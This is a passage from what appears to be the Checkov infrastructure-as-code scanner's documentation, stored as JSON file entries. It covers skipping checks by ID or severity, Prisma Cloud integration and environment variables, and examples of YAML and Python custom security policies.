<version>5.3.9</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.13.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n```\n\n### Java/Kotlin (build.gradle), Go (go.mod)\nThe skip comment can be anywhere in the file. Adding skips to the go.mod file will apply to the go.sum file.\n\nThe example below is for go.mod\n\n```go.mod\nmodule example.com/myproject\n\ngo 1.17\n\nrequire (\n    github.com/gin-gonic/gin v1.7.4\n    github.com/go-sql-driver/mysql v1.6.0\n    //checkov:skip=CVE-2023-123: ignore this CVE for this file\n    //checkov:skip=github.com/go-sql-driver/mysql[BC_LIC_2]: ignore unknown license violations for express in this file\n)\n```\n\n\n# Specifying or skipping checks for the entire run\n\nYou can also fine-tune which checks run or do not run for the overall scan using the `--check` and `--skip-check` flags. You can use these flags to specify check IDs (or wildcards) and / or check severities (if using the platform integration). Any skipped check will simply not run at all and will not appear in the output. Other checks will run as normal (but may result in resource-level skips, as described above).\n\nIf you specify a severity with the `--check` flag, then any check that is equal to or greater than that severity will be included. If you specify a severity with the `--skip-check` flag, then any check less than or equal to that severity will be skipped.\n\nYou can also combine the `--check` and `--skip-check` flags when using severities to get a very granular policy set for the run. In this case, the `--check` filter will be applied first to explicitly include checks, and then the `--skip-check` list will be applied to remove any remaining checks. See below for examples.\n\nIn order to filter by severity, you must run with the platform integration via API key.\n\n## Examples\n\nAllow only the two specified checks to run: \n```sh\ncheckov --directory . --check CKV_AWS_20,CKV_AWS_57\n```\n\nRun all checks except the one specified:\n```sh\ncheckov -d . --skip-check CKV_AWS_20\n```\n\nRun all checks except checks with specified patterns:\n```sh\ncheckov -d . --skip-check CKV_AWS*\n```\n\nRun all checks that are MEDIUM severity or higher (requires API key):\n```sh\ncheckov -d . --check MEDIUM --bc-api-key ...\n```\n\nRun all checks that are MEDIUM severity or higher, as well as check CKV_123 (assume this is a LOW severity check):\n```sh\ncheckov -d . --check MEDIUM,CKV_123 --bc-api-key ...\n```\n\nSkip all checks that are MEDIUM severity or lower:\n```sh\ncheckov -d . --skip-check MEDIUM --bc-api-key ...\n```\n\nSkip all checks that are MEDIUM severity or lower, as well as check CKV_789 (assume this is a high severity check):\n```sh\ncheckov -d . --skip-check MEDIUM,CKV_789 --bc-api-key ...\n```\n\nRun all checks that are MEDIUM severity or higher, but skip check CKV_123 (assume this is a medium or higher severity check):\n```sh\ncheckov -d . --check MEDIUM --skip-check CKV_123 --bc-api-key ...\n```\n\nRun check CKV_789, but skip it if it is a medium severity (the --check logic is always applied before --skip-check)\n```sh\ncheckov -d . --skip-check MEDIUM --check CKV_789 --bc-api-key ...\n```\n\nFor Kubernetes workloads, you can also use allow/deny namespaces.  For example, do not report any results for the \nkube-system namespace:\n```sh\ncheckov -d . --skip-check kube-system\n```\n\n# Platform enforcement rules\n\nCheckov can download [enforcement rules](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/risk-management/monitor-and-manage-code-build/enforcement) that you configure in Prisma Cloud. This allows you to centralize the failure and check threshold configurations, instead of defining them in each pipeline.\n\nTo use enforcement rules, use the `--use-enforcement-rules` flag along with a platform API key.\n\nEnforcement rules allow you to specify a severity soft-fail threshold equivalent to using the `--check <SEVERITY>` argument in Checkov. Note that the enforcement rule \"soft fail\" option is different from the `--soft-fail` options in Checkov. The enforcement rule setting specifies a threshold such that any lower severity policies get skipped, so it is equivalent to the `--check` option. However, whereas this argument is global, the enforcement rules settings are more granular, for each major category of scanner that Checkov has (IaC, secrets, etc). So, for example, you can set the soft-fail level any IaC scan to `MEDIUM` severity or higher (skip all `LOW`), and hard-fail the SCA scan on `HIGH` severity or higher (skip all `MEDIUM` and lower).\n\nYou can combine the platform enforcement rules with the `--check` and `---skip-check` arguments to customize the options for a specific run. It will have the following effects. Note that these flags are still global and will get merged with the relevant enforcement rule for the particular framework being scanned.\n\n* If you use `--check` and / or `--skip-check` with only check IDs (not severities), then it combines those lists with the soft fail threshold from the enforcement rule.\n* If you use `--check` and / or `--skip-check` with a severity, then those severities override the enforcement rule soft fail threshold for all runners.\n"
  },
  {
    "path": "docs/2.Basics/Visualizing Checkov Output.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Visualizing Checkov Output\nnav_order: 6\n---\n\n# Visualizing Checkov Output in Prisma Cloud\n\nYou can integrate Checkov with Prisma Cloud to view the results of Checkov scans in Prisma Cloud.\n![Prisma Cloud Dashboard](pc-dashboard.png)\n\n## Integration\n\n### Get your Access Key and Secret Key\n\nTo get a Prisma Cloud issued Access Key and Secret Key token, follow the steps in the [Prisma Cloud documentation](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/get-started/connect-code-and-build-providers/ci-cd-runs/add-checkov).\n\n## Execution\n\nAfter acquiring the Access Key and Secret Key token, run Checkov as follows:\n\n```shell\ncheckov -d <directory> --bc-api-key <access key>::<secret key> --prisma-api-url <prisma api url> --repo-id <repo_id> --branch <branch>\n```\n\nOr by using the `-f` file flag:\n\n```shell\ncheckov -f <file_1> <file_2> ... <file_n> --bc-api-key <access key>::<secret key> --prisma-api-url <prisma api url> --repo-id <repo_id> --branch <branch>\n```\n\nThe table below details the arguments used when executing the API token:\n\n| Argument | Description |\n| -------- | ----------- |\n| `<access key>::<secret key>` | Prisma cloud API key in the following format `ACCESS_KEY::SECRET_KEY` |\n| `<repo_id>` | Identifying string of the scanned repository, following the standard Git repository naming scheme: `<owner>/<name>` |\n| `<branch>` | Branch name to be persisted on platform. Defaults to the master branch. **NOTE:** Ensure the scanned directory (supplied in the `-d` flag) is currently checked out from the given branch name. |\n\n### Environment Variables\n\nTo enrich Prisma Cloud's context with CI/CD systems data, we strongly recommend that Checkov uses environment variables.\n\n| Environment Variable            | Description                                                                    | Example                                                                                 |\n|---------------------------------|--------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------|\n| BC_FROM_BRANCH                  | Source branch                                                                  | feature/foo                                                                             |\n| BC_TO_BRANCH                    | Target branch                                                                  | main                                                                                    |\n| BC_PR_ID                        | Pull request identifier                                                        | 825                                                                                     |\n| BC_PR_URL                       | Link to pull request/merge request                                             | https://github.com/bridgecrewio/checkov/pull/825                                        |\n| BC_COMMIT_HASH                  | Commit identifier                                                              | 5df50ab857e7a255e4e731877748b539915ad489                                                |\n| BC_COMMIT_URL                   | Link to commit in CI/VCS system                                                | https://github.com/bridgecrewio/checkov/commit/5df50ab857e7a255e4e731877748b539915ad489 |\n| BC_AUTHOR_NAME                  | User associated with the CI trigger                                            | schosterbarak                                                                           |\n| BC_AUTHOR_URL                   | Link to the user profile page                                                  | https://github.com/schosterbarak                                                        |\n| BC_RUN_ID                       | CI run identifier                                                              | 525220526                                                                               |\n| BC_RUN_URL                      | Link to the run in the CI system                                               | https://github.com/bridgecrewio/checkov/actions/runs/525220526                          |\n| BC_REPOSITORY_URL               | Link to the GitHub repository                                                  | https://github.com/bridgecrewio/checkov/                                                |\n| BC_SOURCE                       | Name of CI system being integrated                                             | githubActions                                                                           |\n| PRISMA_API_URL                  | URL of Prisma app for platform integration                                     | https://app3.prismacloud.io                                                             |\n| SLS_FILE_MASK                   | File names mask for all serverless files                                       | serverless.yaml,serverless.yml                                                          |\n| CHECKOV_REQUEST_CONNECT_TIMEOUT | Number of seconds requests will wait to establish a connection to the platform | 3.1                                                                                     |\n| CHECKOV_REQUEST_READ_TIMEOUT    | Number of seconds requests will wait for the platform to send a response. This duration matches our timeout settings, so changes are likely unnecessary.      | 30                                                                                      |\n| CHECKOV_REQUEST_RETRIES         | Number of retries requests will do towards the platform                        | 3                                                                                       |\n\n## Prisma Cloud platform view\n\nAfter successfully executing, scan results are persisted in [Prisma Cloud](https://www.prismacloud.io), and can be seen in Projects.\n\n![Prisma Cloud Projects](pc-projects.png)\n"
  },
  {
    "path": "docs/3.Custom Policies/Custom Policies Overview.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Custom Policies Overview\nnav_order: 1\n---\n\n# Custom Policies Overview\n\nCustom Policies allow monitoring and enforcing of cloud infrastructure configuration in accordance with your organization's specific needs. For example, for certain resource types, you may want to enforce a tagging methodology or a special secure password policy; or you may want to restrict usage of a new service depending on the types of other services it is connected to.\n\n* You can create custom policies in [Python](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) that check for the status of configuration attributes.\n* You can create custom policies in [YAML](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) that can both check for the status of configuration attributes and check the connection state between types of resources.\n* You can also apply sophisticated logic to multiple conditions within a Custom Policy. Check out our [custom policy examples](https://www.checkov.io/3.Custom%20Policies/Examples.html).\n* After creating tests for your custom policies, you can contribute them back to Checkov! Learn how to [contribute your policies](https://www.checkov.io/6.Contribution/Contribution%20Overview.html).\n"
  },
  {
    "path": "docs/3.Custom Policies/Examples.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Custom YAML Policies Examples\nnav_order: 4\n---\n\n# Examples - YAML-Based Custom Policies\n\n## Basic Query - One Attribute Block\n\n```yaml\n---\nmetadata:\n  name: \"Check that all resources are tagged with the key - env\"\n  id: \"CKV2_AWS_1\"\n  category: \"GENERAL_SECURITY\"\nscope:\n  provider: aws\ndefinition:\n  cond_type: \"attribute\"\n  resource_types: \"taggable\"\n  attribute: \"tags.env\"\n  operator: \"exists\"\n```\n\n```yaml\n---\nmetadata:\n  name: \"Check that all resources are tagged with the key - env\"\n  id: \"CKV2_AWS_1\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types: \"all\"\n  attribute: \"lifecycle\"\n  operator: \"not_exists\"\n```\n\n## Basic Query - Module block example \n\n```yaml\n---\nmetadata:\n  name: \"Ensure all modules are using the official AWS ones\"\n  id: \"CKV2_AWS_1\"\n  category: \"SUPPLY_CHAIN\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - module\n  attribute: source\n  operator: starting_with\n  value: terraform-aws-modules\n```\n\n# Basic Query - Provider custom policy check\n\n```yaml\n---\nmetadata:\n  name: \"Ensure a certain region is not added\"\n  id: \"CKV2_AWS_3\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"provider.aws\"\n  attribute: \"region\"\n  operator: \"not_contains\"\n  value: \"us-west-1\"\n```\n\n## OR -  Multiple Attribute Blocks\n\n```yaml\n---\nmetadata:\n  id: \"CUSTOM_GRAPH_AWS_3\"\n  name: \"Ensure a certain region is not added\"\n  category: \"GENERAL_SECURITY\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n  - cond_type: \"attribute\"\n    resource_types:\n      - \"provider\"\n    attribute: \"default_tags\"\n    operator: exists\n  - cond_type: \"attribute\"\n    resource_types:\n      - \"provider\"\n    attribute: \"region\"\n    operator: \"not_contains\"\n    value: \"us-west-1\"\n```\n\n```yaml\nmetadata:\n  name: \"Everything must be tagged or labeled\"\n  id: \"CUSTOM_GRAPH_5\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types: \"taggable\"\n      attribute: \"tags\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types: \"taggable\"\n      attribute: \"labels\"\n      operator: \"exists\"\n```\n\n## Basic Query - Terraform plan resource not deleted\n\n```yaml\n---\nmetadata:\n  name: \"Ensure Secret is not deleted\"\n  id: \"CKV2_AWS_1\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_secretsmanager_secret\n  attribute: __change_actions__\n  operator: not_contains\n  value: delete\n```\n\n## OR at Top Level - Two Attribute Blocks\n\n```yaml\n---\nmetadata:\n name: \"Org's compute instances should not be t3.micro or t3.nano\"\n id: \"CKV2_AWS_1\"\n category: \"NETWORKING\"\ndefinition:\n or:\n - cond_type: \"attribute\"\n   resource_types:\n    - \"aws_instance\"\n   attribute: \"instance_type\"\n   operator: \"not_equals\"\n   value: \"t3.micro\"\n - cond_type: \"attribute\"\n   resource_types:\n   - \"aws_instance\"\n   attribute: \"instance_type\"\n   operator: \"not_equals\"\n   value: \"t3.nano\"\n```\n\n## OR Logic - Attribute Block\n\n```yaml\n---\nmetadata:\n name: \"Check that all encrypted RDS clusters are tagged with encrypted: true\"\n id: \"CKV2_AWS_1\"\n category: \"SECRETS\"\ndefinition:\n and:\n     - cond_type: \"attribute\"\n       resource_types:\n       - \"aws_rds_cluster\"\n       attribute: \"tags.encrypted\"\n       operator: \"equals\"\n       value: \"true\"\n     - or:\n         - cond_type: \"attribute\"\n           resource_types:\n           - \"aws_rds_cluster\"\n           attribute: \"kms_key_id\"\n           operator: \"exists\"\n         - cond_type: \"attribute\"\n           resource_types:\n           - \"aws_rds_cluster\"\n           attribute: \"storage_encrypted\"\n           operator: \"equals\"\n           value: \"true\"\n```\n\n## OR -  Multiple Attribute Blocks\n\n```yaml\n---\nmetadata:\n name: \"Ensure all AWS databases have Backup Policy\"\n id: \"CKV2_AWS_1\"\n category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n or:\n   - cond_type: \"attribute\"\n     resource_types:\n     - \"aws_rds_cluster\"\n     - \"aws_db_instance\"\n     attribute: \"backup_retention_period\"\n     operator: \"not_exists\"\n   - cond_type: \"attribute\"\n     resource_types:\n     - \"aws_rds_cluster\"\n     - \"aws_db_instance\"\n     attribute: \"backup_retention_period\"\n     operator: \"not_equals\"\n     value: \"0\"\n   - cond_type: \"attribute\"\n     resource_types:\n     - \"aws_redshift_cluster\"\n     attribute: \"automated_snapshot_retention_period\"\n     operator: \"not_equals\"\n     value: \"0\"\n   - cond_type: \"attribute\"\n     resource_types:\n     - \"aws_dynamodb_table\"\n     attribute: \"point_in_time_recovery\"\n     operator: \"not_equals\"\n     value: \"false\"\n   - cond_type: \"attribute\"\n     resource_types:\n     - \"aws_dynamodb_table\"\n     attribute: \"point_in_time_recovery\"\n     operator: \"exists\"\n```\n\n## Simple Connection State Block and Filter and Attribute Blocks\n\n```yaml\n---\nmetadata:\n name: \"Ensure all EC2s are connected only to encrypted EBS volumes\"\n id: \"CKV2_AWS_1\"\n category: \"ENCRYPTION\"\ndefinition:\n    and:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_ebs_volume\"\n          attribute: \"encrypted\"\n          operator: \"equals\"\n          value: \"true\"\n        - cond_type: \"connection\"\n          resource_types:\n          - \"aws_volume_attachment\"\n          connected_resource_types:\n          - \"aws_ebs_volume\"\n          operator: \"exists\"\n        - cond_type: \"filter\"\n          attribute: \"resource_type\"\n          value:\n           - \"aws_ebs_volume\"\n          operator: \"within\"\n```\n\n## Simple Connection State Block and Filter and Attribute Blocks - Data block example\n\n```yaml\n---\nmetadata:\n name: \"Ensure admin groups are not created\"\n id: \"CKV2_AZURE_999\"\n category: \"IAM\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - azuredevops_group_membership\n    - or:\n        - cond_type: connection\n          resource_types:\n            - azuredevops_group_membership\n          connected_resource_types:\n            - data.azuredevops_group\n          operator: not_exists\n        - and:\n          - cond_type: connection\n            resource_types:\n              - azuredevops_group_membership\n            connected_resource_types:\n              - data.azuredevops_group\n            operator: exists\n          - cond_type: attribute\n            resource_types:\n              - data.azuredevops_group\n            attribute: name\n            operator: not_equals\n            value: \"Build Administrators\"\n```\n\n## Complex Definition - Connection State Block and Filter and Attribute Blocks - Example 1\n\n```yaml\n---\nmetadata:\n  name: \"Ensure all ALBs are connected only to HTTPS listeners\"\n  id: \"CKV2_AWS_1\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: \"filter\"\n    value:\n    - \"aws_lb\"\n    attribute: \"resource_type\"\n    operator: \"within\"\n  - cond_type: \"attribute\"\n    resource_types:\n    - \"aws_lb\"    \n    attribute: \"load_balancer_type\"\n    operator: \"equals\"\n    value: \"application\"\n  - or:\n    - cond_type: \"connection\"\n      resource_types:\n      - \"aws_lb\"\n      connected_resource_types:\n      - \"aws_lb_listener\"\n      operator: \"not_exists\"\n    - and:\n      - cond_type: \"connection\"\n        resource_types:\n        - \"aws_lb\"\n        connected_resource_types:\n        - \"aws_lb_listener\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_lb_listener\"\n        attribute: \"certificate_arn\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_lb_listener\"\n        attribute: \"ssl_policy\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_lb_listener\"\n        attribute: \"protocol\"\n        operator: \"equals\"\n        value: \"HTTPS\"\n      - or:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_lb_listener\"\n          attribute: \"default_action.redirect.protocol\"\n          operator: \"equals\"\n          value: \"HTTPS\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_lb_listener\"\n          attribute: \"default_action.redirect.protocol\"\n          operator: \"not_exists\"\n      - or:\n        - cond_type: \"connection\"\n          resource_types:\n          - \"aws_lb_listener_rule\"\n          connected_resource_types:\n          - \"aws_lb_listener\"\n          operator: \"not_exists\"\n        - and:\n          - cond_type: \"connection\"\n            resource_types:\n            - \"aws_lb_listener_rule\"\n            connected_resource_types:\n            - \"aws_lb_listener\"\n            operator: \"exists\"\n          - or:\n            - cond_type: \"attribute\"\n              resource_types:\n              - \"aws_lb_listener_rule\"\n              attribute: \"default_action.redirect.protocol\"\n              operator: \"equals\"\n              value: \"HTTPS\"\n            - cond_type: \"attribute\"\n              resource_types:\n              - \"aws_lb_listener_rule\"\n              attribute: \"default_action.redirect.protocol\"\n              operator: \"not_exists\"\n```\n\n## Complex Definition - Connection State Block and Filter and Attribute Blocks - Example 2\n\n```yaml\n---\nmetadata:\n  name: \"Ensure resources allows encrypted ingress communication (SSH)\"\n  id: \"CKV2_AWS_1\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: \"filter\"\n    attribute: \"resource_type\"\n    value:\n    - \"aws_instance\"\n    - \"aws_elb\"\n    - \"aws_lb\"\n    - \"aws_db_instance\"\n    - \"aws_elasticache_cluster\"\n    - \"aws_emr_cluster\"\n    - \"aws_redshift_cluster\"\n    - \"aws_elasticsearch_domain\"\n    - \"aws_rds_cluster\"\n    - \"aws_efs_mount_target\"\n    - \"aws_efs_file_system\"\n    - \"aws_ecs_service\"\n    operator: \"within\"\n  - cond_type: \"connection\"\n    resource_types:\n    - \"aws_instance\"\n    - \"aws_elb\"\n    - \"aws_lb\"\n    - \"aws_db_instance\"\n    - \"aws_elasticache_cluster\"\n    - \"aws_emr_cluster\"\n    - \"aws_redshift_cluster\"\n    - \"aws_elasticsearch_domain\"\n    - \"aws_rds_cluster\"\n    - \"aws_efs_mount_target\"\n    - \"aws_efs_file_system\"\n    - \"aws_ecs_service\"\n    connected_resource_types:\n    - \"aws_security_group\"\n    - \"aws_default_security_group\"\n    operator: \"exists\"\n  - or:\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"aws_security_group\"\n      - \"aws_default_security_group\"\n      attribute: \"ingress.from_port\"\n      operator: \"equals\"\n      value: \"22\"\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"aws_security_group\"\n      - \"aws_default_security_group\"\n      value: \"22\"\n      operator: \"equals\"\n      attribute: \"ingress.to_port\"\n  - or:\n    - cond_type: \"connection\"\n      resource_types:\n      - \"aws_security_group_rule\"\n      connected_resource_types:\n      - \"aws_security_group\"\n      - \"aws_default_security_group\"\n      operator: \"not_exists\"\n    - and:\n      - cond_type: \"connection\"\n        resource_types:\n        - \"aws_security_group_rule\"\n        connected_resource_types:\n        - \"aws_security_group\"\n        - \"aws_default_security_group\"\n        operator: \"exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_security_group_rule\"\n        attribute: \"type\"\n        operator: \"equals\"\n        value: \"ingress\"\n      - or:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_security_group_rule\"\n          attribute: \"to_port\"\n          operator: \"equals\"\n          value: \"22\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_security_group_rule\"\n          attribute: \"from_port\"\n          operator: \"equals\"\n          value: \"22\"\n```\n\n## Using a wildcard to evaluate all elements of a list\n\nThe following policy will pass if and only if all of the `cidr_blocks` arrays within the `ingress` blocks of a security group do not contain `0.0.0.0/0`.\n\n```yaml\ndefinition:\n  not:\n    cond_type: attribute\n    resource_types:\n      - \"aws_security_group\"\n    attribute: \"ingress.*.cidr_blocks\"\n    operator: \"contains\"\n    value: \"0.0.0.0/0\"\n```\n\n## Using a jsonpath operator to evaluate complex attributes\n\nThe following policy looks for a CloudFormation S3 Bucket with a tag name `env` and it should have one of the values `prod` or `prod-eu`.\n\n```yaml\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"AWS::S3::Bucket\"\n  attribute: \"Tags[?(@.Key == env)].Value\"\n  operator: \"jsonpath_within\"\n  value:\n    - prod\n    - prod-eu\n```\n\n## Creating an allow list of resource types\n\nThe following policy only allows resources of type `aws_instance` and `aws_db_instance` to be provisioned. \n\n```yaml\ndefinition:\n  cond_type: \"resource\"\n  resource_types:\n    - \"aws_instance\"\n    - \"aws_db_instance\"\n  operator: \"exists\"\n```\n"
  },
  {
    "path": "docs/3.Custom Policies/Python Custom Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Python Custom Policies\nnav_order: 2\n---\n\n# Create Custom Policy - Python - Attribute Check\n\nCustom Policies created in code (in Python) support checking the state of a resource’s attributes.\nA Python-based Custom Policy for Checkov consists of sections for Metadata and Policy Definition.\n\nRead also how to [create custom YAML Policies for attribute and composite scanning](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html).\n\n## Writing a Python custom Checkov policy\n\nSpecify a `name`, `ID`, `relevant resources` and `categories`.\n\n| Parameter                         | Description                                                                                                                                                                                                                    | Example/Comments                                                                                                                                                                               |\n|-----------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| ``name``                          | A new policy's unique purpose. It should ideally specify the positive desired outcome of the policy.                                                                                                                           |                                                                                                                                                                                                |\n| ``id``                            | A mandatory unique identifier of a policy. Native policies written by Prisma Cloud contributors will follow the following convention: ``CKV_providerType_serialNumber``                                                          | `CKV_AWS_9` , `CKV_GCP_12`                                                                                                                                                                                                     |\n| ``supported_resources``           | Infrastructure objects, as described in the scanned IaC's language. This usually contains one specific resource block. If you support multiple resources, you can use `*` to match any type of entity in that specific domain. | `*` use depends on which check base class you extend; see note below table. `?ws_*` will match anything where the second character is a `'w'`, the third is a `'s'` and the fourth is a `'_'`. |\n| ``categories``                    | Categorization of a scan. Usually used to produce compliance reports, pipeline analytics and infrastructure health metrics, etc.                                                                                               |                                                                                                                                                                                                |\n| ``guideline``                     | (Optional) Add extra info to help the user to solve the issue.                                                                                                                                                                 | This is not needed                                                                                                                                                                             |\n\n**Note for Supported Resources Parameter:** If you extend `checkov.terraform.checks.resource.base_resource_check.BaseResourceCheck`, the check is registered for all Terraform resources.\n\nThe following example produces a policy that ensures that new RDS services spun-up are encrypted at rest, given a scanned Terraform configuration ([CKV_AWS_16](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEncryption.py)).\n1. Create a new file in the AWS check directory ``checkov/terraform/checks/resource/aws/RDSEncryption.py``.\n2. Import the following:\n\n```python\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n```\n\n3. Define the meta entities for this check as described in the table above.\n\n```python\nclass RDSEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the RDS is securely encrypted at rest\"\n        id = \"CKV_AWS_16\"\n        supported_resources = (\"aws_db_instance\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n```\n\n4. Define a simple check of the ```aws_db_instance``` resource block to determine if ```aws_db_instance``` is disabled. If it is disabled, that needs to cause a ```CheckResult.FAILED``` to occur.\n\n```python\ndef scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n    \"\"\"\n        Looks for encryption configuration at aws_db_instance:\n        https://www.terraform.io/docs/providers/aws/d/db_instance.html\n    :param conf: aws_db_instance configuration\n    :return: <CheckResult>\n    \"\"\"\n    if 'storage_encrypted' in conf.keys():\n        key = conf['storage_encrypted'][0]\n        if key:\n            return CheckResult.PASSED\n    return CheckResult.FAILED\n```\n\n**Note:**\n\nThe `conf` parameter is dependent on the resource type, which was chosen via the `supported_resources` class instance attribute.\nFor example, for the `aws_db_instance` resource, we get the following value:\n\n```python\nconf = {\n    \"__end_line__\": 11,  # internal field\n    \"__start_line__\": 3,  # internal field\n    \"allocated_storage\": [5],\n    \"enabled_cloudwatch_logs_exports\": [[\"postgresql\", \"upgrade\"]],\n    \"engine\": [\"postgres\"],\n    \"instance_class\": [\"db.t3.small\"],\n    \"password\": [\"postgres\"],\n    \"username\": [\"postgres\"],\n    \"__address__\": \"aws_db_instance.postgres\",  # internal field\n}\n```\n\nwhich is the internal representation of following Terraform resource block\n\n```hcl\nresource \"aws_db_instance\" \"postgres\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"postgres\"\n  username          = \"postgres\"\n\n  enabled_cloudwatch_logs_exports = [\"postgresql\", \"upgrade\"]\n}\n```\n\nIf more than one resource type was set for `supported_resources`, then it is possible to retrieve the info via the class instance attribute `self.entity_type`.\n\n```python\ndef scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n    if self.entity_type == \"aws_db_instance\":\n        ...\n    elif self.entity_type == \"aws_rds_cluster_instance\":\n        ...\n```\n\n5. Implement `get_evaluated_keys` to allow the check results report show the specified key.\n\n```python\ndef get_evaluated_keys(self) -> List[str]:\n    return ['storage_encrypted/[0]']\n```\n\nIf the evaluated keys are determined dynamically, you can set the evaluated key when scanning the resource configuration:\n```python\ndef scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n    \"\"\"\n        Looks for encryption configuration at aws_db_instance:\n        https://www.terraform.io/docs/providers/aws/d/db_instance.html\n    :param conf: aws_db_instance configuration\n    :return: <CheckResult>\n    \"\"\"\n    if 'storage_encrypted' in conf.keys():\n        key = conf['storage_encrypted'][0]\n        if key:\n            # The following line sets the evaluated keys\n            self.evaluated_keys = ['storage_encrypted/[0]']\n            return CheckResult.PASSED\n    return CheckResult.FAILED\n```\n\n6. You can also add `details` to be printed on the execution report:\n```python\ndef scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n    \"\"\"\n        Looks for encryption configuration at aws_db_instance:\n        https://www.terraform.io/docs/providers/aws/d/db_instance.html\n    :param conf: aws_db_instance configuration\n    :return: <CheckResult>\n    \"\"\"\n    if 'storage_encrypted' in conf.keys():\n        key = conf['storage_encrypted'][0]\n        if key:\n            # The following line sets the evaluated keys\n            self.evaluated_keys = ['storage_encrypted/[0]']\n            return CheckResult.PASSED\n        \n    self.details.append(\"'storage_encrypted' was not found on the resource configuration\")\n    \n    return CheckResult.FAILED\n```\n\nProduces the following CLI report:\n![details-cli-screenshot](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/checkov-scan-cli-details.png)\n\n7. Conclude the policy name and operationalize it with the statement:\n\n```python\ncheck = RDSEncryption()\n```\n\n### Selecting the best base check class to extend\nTerraform and CloudFormation have two base classes extending `BaseResourceCheck`:\n\n1. **BaseResourceValueCheck**: This check will pass only if the `inspected_key` is within the `expected_values`. If `get_expected_value` is not implemented, the default value is `[True]`. \n\n```python\nclass RDSPubliclyAccessible(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in RDS is not publicly accessible\"\n        id = \"CKV_AWS_17\"\n        supported_resources = (\"AWS::RDS::DBInstance\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n    \n    def get_inspected_key(self) -> str:\n        return 'Properties/PubliclyAccessible'    \n        \n    def get_expected_values(self) -> list[Any]:\n        return [False]\n```\n\nAnother option is to use `ANY_VALUE`:\n```python\ndef get_expected_values(self) -> list[Any]:\n    return [ANY_VALUE]\n```\n\n2. **BaseResourceNegativeValueCheck**: This check will pass only if the `inspected_key` is NOT within the `forbidden_values`. \n\n```python\nclass NeptuneClusterInstancePublic(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Neptune Cluster instance is not publicly available\"\n        id = \"CKV_AWS_102\"\n        supported_resources = ['aws_neptune_cluster_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'publicly_accessible/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n```\n\n\n### Run a new scan\n\nTo run a scan with the new policy, use the ```checkov``` command.\n\n```python\ncheckov -d /user/tf\n```\n\n\n#Working with Custom Policies\n\nCheckov is delivered with a set of built-in policies that check for compliance and security best practices at its core. In addition, Checkov enables you to load additional checks, that give the user the ability to author and execute custom policies.\n\n## Example \nThis example uses the following directory structure:\n\n```text\n├── main.tf\n├── variables.tf\n└── outputs.tf\n```\n\nThe example assumes a unique need to enforce bucket ACL policies only when the tag `Scope=PCI` is present.  That being the case, the following bucket definition must trigger a failed check result:\n\n```python\n# Snippet from  main.tf\nresource \"aws_s3_bucket\" \"credit_cards_bucket\" {\n  region        = var.region\n  bucket        = 